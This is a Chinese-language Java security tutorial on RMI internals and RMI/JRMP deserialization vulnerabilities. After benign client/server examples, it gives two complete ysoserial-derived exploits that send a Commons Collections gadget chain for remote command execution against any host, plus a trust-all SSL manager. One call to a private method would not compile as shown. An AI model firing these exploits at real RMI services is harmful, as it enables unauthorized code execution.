RMI

RMI(Remote Method Invocation)Java远程方法调用,RMI用于构建分布式应用程序,RMI实现了Java程序之间跨JVM的远程通信。

RMI架构:

java-rmi

RMI底层通讯采用了Stub(运行在客户端)Skeleton(运行在服务端)机制,RMI调用远程方法的大致如下:

  1. RMI客户端在调用远程方法时会先创建Stub(sun.rmi.registry.RegistryImpl_Stub)
  2. Stub会将Remote对象传递给远程引用层(java.rmi.server.RemoteRef)并创建java.rmi.server.RemoteCall(远程调用)对象。
  3. RemoteCall序列化RMI服务名称Remote对象。
  4. RMI客户端远程引用层传输RemoteCall序列化后的请求信息通过Socket连接的方式传输到RMI服务端远程引用层
  5. RMI服务端远程引用层(sun.rmi.server.UnicastServerRef)收到请求会请求传递给Skeleton(sun.rmi.registry.RegistryImpl_Skel#dispatch)
  6. Skeleton调用RemoteCall反序列化RMI客户端传过来的序列化。
  7. Skeleton处理客户端请求:bindlistlookuprebindunbind,如果是lookup则查找RMI服务名绑定的接口对象,序列化该对象并通过RemoteCall传输到客户端。
  8. RMI客户端反序列化服务端结果,获取远程对象的引用。
  9. RMI客户端调用远程方法,RMI服务端反射调用RMI服务实现类的对应方法并序列化执行结果返回给客户端。
  10. RMI客户端反序列化RMI远程方法调用结果。

RMI远程方法调用测试

第一步我们需要先启动RMI服务端,并注册服务。

RMI服务端注册服务代码:

  1. package com.anbai.sec.rmi;
  2. import java.rmi.Naming;
  3. import java.rmi.registry.LocateRegistry;
  4. public class RMIServerTest {
  5. // RMI服务器IP地址
  6. public static final String RMI_HOST = "127.0.0.1";
  7. // RMI服务端口
  8. public static final int RMI_PORT = 9527;
  9. // RMI服务名称
  10. public static final String RMI_NAME = "rmi://" + RMI_HOST + ":" + RMI_PORT + "/test";
  11. public static void main(String[] args) {
  12. try {
  13. // 注册RMI端口
  14. LocateRegistry.createRegistry(RMI_PORT);
  15. // 绑定Remote对象
  16. Naming.bind(RMI_NAME, new RMITestImpl());
  17. System.out.println("RMI服务启动成功,服务地址:" + RMI_NAME);
  18. } catch (Exception e) {
  19. e.printStackTrace();
  20. }
  21. }
  22. }

程序运行结果:

  1. RMI服务启动成功,服务地址:rmi://127.0.0.1:9527/test

Naming.bind(RMI_NAME, new RMITestImpl())绑定的是服务端的一个类实例,RMI客户端需要有这个实例的接口代码(RMITestInterface.java),RMI客户端调用服务器端的RMI服务时会返回这个服务所绑定的对象引用,RMI客户端可以通过该引用对象调用远程的服务实现类的方法并获取方法执行结果。

RMITestInterface示例代码:

  1. package com.anbai.sec.rmi;
  2. import java.rmi.Remote;
  3. import java.rmi.RemoteException;
  4. /**
  5. * RMI测试接口
  6. */
  7. public interface RMITestInterface extends Remote {
  8. /**
  9. * RMI测试方法
  10. *
  11. * @return 返回测试字符串
  12. */
  13. String test() throws RemoteException;
  14. }

这个区别于普通的接口调用,这个接口在RMI客户端中没有实现代码,接口的实现代码在RMI服务端

服务端RMITestInterface实现代码示例代码:

  1. package com.anbai.sec.rmi;
  2. import java.rmi.RemoteException;
  3. import java.rmi.server.UnicastRemoteObject;
  4. public class RMITestImpl extends UnicastRemoteObject implements RMITestInterface {
  5. private static final long serialVersionUID = 1L;
  6. protected RMITestImpl() throws RemoteException {
  7. super();
  8. }
  9. /**
  10. * RMI测试方法
  11. *
  12. * @return 返回测试字符串
  13. */
  14. @Override
  15. public String test() throws RemoteException {
  16. return "Hello RMI~";
  17. }
  18. }

RMI客户端示例代码:

  1. package com.anbai.sec.rmi;
  2. import java.rmi.Naming;
  3. import static com.anbai.sec.rmi.RMIServerTest.RMI_NAME;
  4. public class RMIClientTest {
  5. public static void main(String[] args) {
  6. try {
  7. // 查找远程RMI服务
  8. RMITestInterface rt = (RMITestInterface) Naming.lookup(RMI_NAME);
  9. // 调用远程接口RMITestInterface类的test方法
  10. String result = rt.test();
  11. // 输出RMI方法调用结果
  12. System.out.println(result);
  13. } catch (Exception e) {
  14. e.printStackTrace();
  15. }
  16. }
  17. }

程序运行结果:

  1. Hello RMI~

RMI反序列化漏洞

RMI通信中所有的对象都是通过Java序列化传输的,在学习Java序列化机制的时候我们讲到只要有Java对象反序列化操作就有可能有漏洞。

既然RMI使用了反序列化机制来传输Remote对象,那么可以通过构建一个恶意的Remote对象,这个对象经过序列化后传输到服务器端,服务器端在反序列化时候就会触发反序列化漏洞。

首先我们依旧使用上述com.anbai.sec.rmi.RMIServerTest的代码,创建一个RMI服务,然后我们来构建一个恶意的Remote对象并通过bind请求发送给服务端。

RMI客户端反序列化攻击示例代码:

  1. package com.anbai.sec.rmi;
  2. import org.apache.commons.collections.Transformer;
  3. import org.apache.commons.collections.functors.ChainedTransformer;
  4. import org.apache.commons.collections.functors.ConstantTransformer;
  5. import org.apache.commons.collections.functors.InvokerTransformer;
  6. import org.apache.commons.collections.map.LazyMap;
  7. import javax.net.ssl.SSLContext;
  8. import javax.net.ssl.SSLSocketFactory;
  9. import javax.net.ssl.TrustManager;
  10. import javax.net.ssl.X509TrustManager;
  11. import java.io.IOException;
  12. import java.lang.reflect.Constructor;
  13. import java.lang.reflect.InvocationHandler;
  14. import java.lang.reflect.Proxy;
  15. import java.net.Socket;
  16. import java.rmi.ConnectIOException;
  17. import java.rmi.Remote;
  18. import java.rmi.registry.LocateRegistry;
  19. import java.rmi.registry.Registry;
  20. import java.rmi.server.RMIClientSocketFactory;
  21. import java.security.cert.X509Certificate;
  22. import java.util.HashMap;
  23. import java.util.Map;
  24. import static com.anbai.sec.rmi.RMIServerTest.RMI_HOST;
  25. import static com.anbai.sec.rmi.RMIServerTest.RMI_PORT;
  26. /**
  27. * RMI反序列化漏洞利用,修改自ysoserial的RMIRegistryExploit:https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/exploit/RMIRegistryExploit.java
  28. *
  29. * @author yz
  30. */
  31. public class RMIExploit {
  32. // 定义AnnotationInvocationHandler类常量
  33. public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
  34. /**
  35. * 信任SSL证书
  36. */
  37. private static class TrustAllSSL implements X509TrustManager {
  38. private static final X509Certificate[] ANY_CA = {};
  39. public X509Certificate[] getAcceptedIssuers() {
  40. return ANY_CA;
  41. }
  42. public void checkServerTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ }
  43. public void checkClientTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ }
  44. }
  45. /**
  46. * 创建支持SSL的RMI客户端
  47. */
  48. private static class RMISSLClientSocketFactory implements RMIClientSocketFactory {
  49. public Socket createSocket(String host, int port) throws IOException {
  50. try {
  51. // 获取SSLContext对象
  52. SSLContext ctx = SSLContext.getInstance("TLS");
  53. // 默认信任服务器端SSL
  54. ctx.init(null, new TrustManager[]{new TrustAllSSL()}, null);
  55. // 获取SSL Socket连接工厂
  56. SSLSocketFactory factory = ctx.getSocketFactory();
  57. // 创建SSL连接
  58. return factory.createSocket(host, port);
  59. } catch (Exception e) {
  60. throw new IOException(e);
  61. }
  62. }
  63. }
  64. /**
  65. * 使用动态代理生成基于InvokerTransformer/LazyMap的Payload
  66. *
  67. * @param command 定义需要执行的CMD
  68. * @return Payload
  69. * @throws Exception 生成Payload异常
  70. */
  71. private static InvocationHandler genPayload(String command) throws Exception {
  72. // 创建Runtime.getRuntime.exec(cmd)调用链
  73. Transformer[] transformers = new Transformer[]{
  74. new ConstantTransformer(Runtime.class),
  75. new InvokerTransformer("getMethod", new Class[]{
  76. String.class, Class[].class}, new Object[]{
  77. "getRuntime", new Class[0]}
  78. ),
  79. new InvokerTransformer("invoke", new Class[]{
  80. Object.class, Object[].class}, new Object[]{
  81. null, new Object[0]}
  82. ),
  83. new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{command})
  84. };
  85. // 创建ChainedTransformer调用链对象
  86. Transformer transformerChain = new ChainedTransformer(transformers);
  87. // 使用LazyMap创建一个含有恶意调用链的Transformer类的Map对象
  88. final Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);
  89. // 获取AnnotationInvocationHandler类对象
  90. Class clazz = Class.forName(ANN_INV_HANDLER_CLASS);
  91. // 获取AnnotationInvocationHandler类的构造方法
  92. Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
  93. // 设置构造方法的访问权限
  94. constructor.setAccessible(true);
  95. // 实例化AnnotationInvocationHandler,
  96. // 等价于: InvocationHandler annHandler = new AnnotationInvocationHandler(Override.class, lazyMap);
  97. InvocationHandler annHandler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);
  98. // 使用动态代理创建出Map类型的Payload
  99. final Map mapProxy2 = (Map) Proxy.newProxyInstance(
  100. ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, annHandler
  101. );
  102. // 实例化AnnotationInvocationHandler,
  103. // 等价于: InvocationHandler annHandler = new AnnotationInvocationHandler(Override.class, mapProxy2);
  104. return (InvocationHandler) constructor.newInstance(Override.class, mapProxy2);
  105. }
  106. /**
  107. * 执行Payload
  108. *
  109. * @param registry RMI Registry
  110. * @param command 需要执行的命令
  111. * @throws Exception Payload执行异常
  112. */
  113. public static void exploit(final Registry registry, final String command) throws Exception {
  114. // 生成Payload动态代理对象
  115. Object payload = genPayload(command);
  116. String name = "test" + System.nanoTime();
  117. // 创建一个含有Payload的恶意map
  118. Map<String, Object> map = new HashMap();
  119. map.put(name, payload);
  120. // 获取AnnotationInvocationHandler类对象
  121. Class clazz = Class.forName(ANN_INV_HANDLER_CLASS);
  122. // 获取AnnotationInvocationHandler类的构造方法
  123. Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
  124. // 设置构造方法的访问权限
  125. constructor.setAccessible(true);
  126. // 实例化AnnotationInvocationHandler,
  127. // 等价于: InvocationHandler annHandler = new AnnotationInvocationHandler(Override.class, map);
  128. InvocationHandler annHandler = (InvocationHandler) constructor.newInstance(Override.class, map);
  129. // 使用动态代理创建出Remote类型的Payload
  130. Remote remote = (Remote) Proxy.newProxyInstance(
  131. ClassLoader.getSystemClassLoader(), new Class[]{Remote.class}, annHandler
  132. );
  133. try {
  134. // 发送Payload
  135. registry.bind(name, remote);
  136. } catch (Throwable e) {
  137. e.printStackTrace();
  138. }
  139. }
  140. public static void main(String[] args) throws Exception {
  141. if (args.length == 0) {
  142. // 如果不指定连接参数默认连接本地RMI服务
  143. args = new String[]{RMI_HOST, String.valueOf(RMI_PORT), "open -a Calculator.app"};
  144. }
  145. // 远程RMI服务IP
  146. final String host = args[0];
  147. // 远程RMI服务端口
  148. final int port = Integer.parseInt(args[1]);
  149. // 需要执行的系统命令
  150. final String command = args[2];
  151. // 获取远程Registry对象的引用
  152. Registry registry = LocateRegistry.getRegistry(host, port);
  153. try {
  154. // 获取RMI服务注册列表(主要是为了测试RMI连接是否正常)
  155. String[] regs = registry.list();
  156. for (String reg : regs) {
  157. System.out.println("RMI:" + reg);
  158. }
  159. } catch (ConnectIOException ex) {
  160. // 如果连接异常尝试使用SSL建立SSL连接,忽略证书信任错误,默认信任SSL证书
  161. registry = LocateRegistry.getRegistry(host, port, new RMISSLClientSocketFactory());
  162. }
  163. // 执行payload
  164. exploit(registry, command);
  165. }
  166. }

程序执行后将会在RMI服务端弹出计算器(仅Mac系统,Windows自行修改命令为calc),RMIExploit程序执行的流程大致如下:

  1. 使用LocateRegistry.getRegistry(host, port)创建一个RemoteStub对象。
  2. 构建一个适用于Apache Commons Collections的恶意反序列化对象(使用的是LazyMap+AnnotationInvocationHandler组合方式)。
  3. 使用RemoteStub调用RMI服务端bind指令,并传入一个使用动态代理创建出来的Remote类型的恶意AnnotationInvocationHandler对象到RMI服务端
  4. RMI服务端接受到bind请求后会反序列化我们构建的恶意Remote对象从而触发Apache Commons Collections漏洞的RCE

RMI客户端端bind序列化:

image-20191231154833818

上图可以看到我们构建的恶意Remote对象会通过RemoteCall序列化然后通过RemoteRef发送到远程的RMI服务端

RMI服务端bind反序列化:

image-20191231155509069

具体的实现代码在:sun.rmi.registry.RegistryImpl_Skel类的dispatch方法,其中的$param_Remote_2就是我们RMIExploit传入的恶意Remote的序列化对象。

RMI-JRMP反序列化漏洞

JRMP接口的两种常见实现方式:

  1. JRMP协议(Java Remote Message Protocol)RMI专用的Java远程消息交换协议
  2. IIOP协议(Internet Inter-ORB Protocol) ,基于 CORBA 实现的对象请求代理协议。

由于RMI数据通信大量的使用了Java的对象反序列化,所以在使用RMI客户端去攻击RMI服务端时需要特别小心,如果本地RMI客户端刚好符合反序列化攻击的利用条件,那么RMI服务端返回一个恶意的反序列化攻击包可能会导致我们被反向攻击。

我们可以通过和RMI服务端建立Socket连接并使用RMIJRMP协议发送恶意的序列化包,RMI服务端在处理JRMP消息时会反序列化消息对象,从而实现RCE

JRMP客户端反序列化攻击示例代码:

  1. package com.anbai.sec.rmi;
  2. import sun.rmi.server.MarshalOutputStream;
  3. import sun.rmi.transport.TransportConstants;
  4. import java.io.DataOutputStream;
  5. import java.io.IOException;
  6. import java.io.ObjectOutputStream;
  7. import java.io.OutputStream;
  8. import java.net.Socket;
  9. import static com.anbai.sec.rmi.RMIServerTest.RMI_HOST;
  10. import static com.anbai.sec.rmi.RMIServerTest.RMI_PORT;
  11. /**
  12. * 利用RMI的JRMP协议发送恶意的序列化包攻击示例,该示例采用Socket协议发送序列化数据,不会反序列化RMI服务器端的数据,
  13. * 所以不用担心本地被RMI服务端通过构建恶意数据包攻击,示例程序修改自ysoserial的JRMPClient:https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/exploit/JRMPClient.java
  14. */
  15. public class JRMPExploit {
  16. public static void main(String[] args) throws IOException {
  17. if (args.length == 0) {
  18. // 如果不指定连接参数默认连接本地RMI服务
  19. args = new String[]{RMI_HOST, String.valueOf(RMI_PORT), "open -a Calculator.app"};
  20. }
  21. // 远程RMI服务IP
  22. final String host = args[0];
  23. // 远程RMI服务端口
  24. final int port = Integer.parseInt(args[1]);
  25. // 需要执行的系统命令
  26. final String command = args[2];
  27. // Socket连接对象
  28. Socket socket = null;
  29. // Socket输出流
  30. OutputStream out = null;
  31. try {
  32. // 创建恶意的Payload对象
  33. Object payloadObject = RMIExploit.genPayload(command);
  34. // 建立和远程RMI服务的Socket连接
  35. socket = new Socket(host, port);
  36. socket.setKeepAlive(true);
  37. socket.setTcpNoDelay(true);
  38. // 获取Socket的输出流对象
  39. out = socket.getOutputStream();
  40. // 将Socket的输出流转换成DataOutputStream对象
  41. DataOutputStream dos = new DataOutputStream(out);
  42. // 创建MarshalOutputStream对象
  43. ObjectOutputStream baos = new MarshalOutputStream(dos);
  44. // 向远程RMI服务端Socket写入RMI协议并通过JRMP传输Payload序列化对象
  45. dos.writeInt(TransportConstants.Magic);// 魔数
  46. dos.writeShort(TransportConstants.Version);// 版本
  47. dos.writeByte(TransportConstants.SingleOpProtocol);// 协议类型
  48. dos.write(TransportConstants.Call);// RMI调用指令
  49. baos.writeLong(2); // DGC
  50. baos.writeInt(0);
  51. baos.writeLong(0);
  52. baos.writeShort(0);
  53. baos.writeInt(1); // dirty
  54. baos.writeLong(-669196253586618813L);// 接口Hash值
  55. // 写入恶意的序列化对象
  56. baos.writeObject(payloadObject);
  57. dos.flush();
  58. } catch (Exception e) {
  59. e.printStackTrace();
  60. } finally {
  61. // 关闭Socket输出流
  62. if (out != null) {
  63. out.close();
  64. }
  65. // 关闭Socket连接
  66. if (socket != null) {
  67. socket.close();
  68. }
  69. }
  70. }
  71. }

测试流程同上面的RMIExploit,这里不再赘述。